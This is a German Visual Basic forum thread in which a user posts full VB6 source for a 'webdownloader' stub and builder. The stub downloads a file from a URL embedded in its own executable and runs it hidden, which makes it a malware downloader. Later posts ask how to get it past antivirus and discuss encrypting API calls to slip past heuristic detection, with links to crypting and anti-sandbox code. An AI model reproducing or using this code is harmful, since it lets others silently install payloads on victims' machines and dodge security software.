Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Source Codes
Autor
Nachricht
kokaiin_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 03.01.2008
Beiträge: 36

Webdownloader Source inkl. Builder
Verfasst am: 11.02.2008, 22:42

Ich habe den Source nicht kommentiert, aber wenn ihr Fragen habt dann legt einfach los:

Server
Code:

Option Explicit
Private url As String
Private path As String
Private Returnvalue As String
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _
szFileName As String, ByVal dwReserved As Long, ByVal ipfnCB As Long) As Long

Private Sub Main()
Dim options As String * 100
Dim cmd() As String
Open (App.path & "\" & App.EXEName & ".exe") For Binary As #1
Get #1, LOF(1) - 99, options
cmd() = Split(options, "#")
url = cmd(0)
path = cmd(1)
Returnvalue = URLDownloadToFile(0, url, path, 0, 0)
Shell path, vbHide
End Sub


Builder:
Code:

Private Sub build(pfad As String)
Dim buffer() As Byte
buffer = LoadResData(101, "CUSTOM")
Open pfad For Binary As #1
    Put #1, , buffer()
Close #1
Dim options As String * 100
options = Text1.Text & "#" & Text2.Text & "#"
Open pfad For Binary As #1
    Put #1, LOF(1) + 1, options
Close #1
Exit Sub
End Sub

Private Sub Command1_Click()
build (App.Path & "\server.exe")
End Sub

End Sub



Credits gehen aufjedenfall an enco raus...
MfG, Kokaiin!

//edit: Achja, wer mir verrät wie man den Source undetected bekommt dem schicke ich ein Eis per Post. Wink
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 12.02.2008, 10:13

Undetected wirst du den glaube ich nicht bekommen, da die AV's auf die Api URLDownloadToFile anspringen.
Die wird einfach zu oft benutzt.
Also entweder eine andere Möglichkeit zum downloaden finden, oder Api crypten.
Aber keine Ahnung wie das geht.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
Rausch_
Poster
Poster

Anmeldedatum: 03.11.2007
Beiträge: 164


Verfasst am: 12.02.2008, 16:53

mhm api crypten hört sich interressant an, ich glaube aber das die av darauf anspringen das mal URLdownloadtofile benuzt.
also ich meine wenn man eien gecryptete dll einbindet ist das der av egal da man ja trotzdem URLdownloadtofile benuzt.
 
kokaiin_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 03.01.2008
Beiträge: 36


Verfasst am: 12.02.2008, 21:51

Auf gercypte apis springt die heursitic nicht an... hier mal ein Beispiel, leider nicht vb6:

http://ssgroup.org/index.php?showtopic=58
 
Marduk_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 17.06.2007
Beiträge: 389


Verfasst am: 12.02.2008, 22:19

Ist das dein Source ZiG?

http://ssgroup.org/index.php?showtopic=4
 
Jolo_
Coder
Coder



Anmeldedatum: 20.03.2007
Beiträge: 210


Verfasst am: 12.02.2008, 22:23


@Marduk: Jep das ist sein Anti-Sandboxie code... den hat er hier auch mal gepostert Confused

MfG Jolo
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Source Codes

Tags: urldownloadtofile, webdownloader, builder, string, source

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 984 09.06.2011, 13:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2612 06.03.2008, 21:19
Keine neuen Beiträge ListView speichern & laden 1331 05.08.2008, 13:32
Keine neuen Beiträge Registry & Co Fragen 1205 03.05.2007, 10:57
Keine neuen Beiträge Listbox speichern & laden 2273 22.03.2007, 21:25
 


[ Time: 0.0675s ][ Queries: 95 (0.0258s) ][ GZIP on - Debug on ]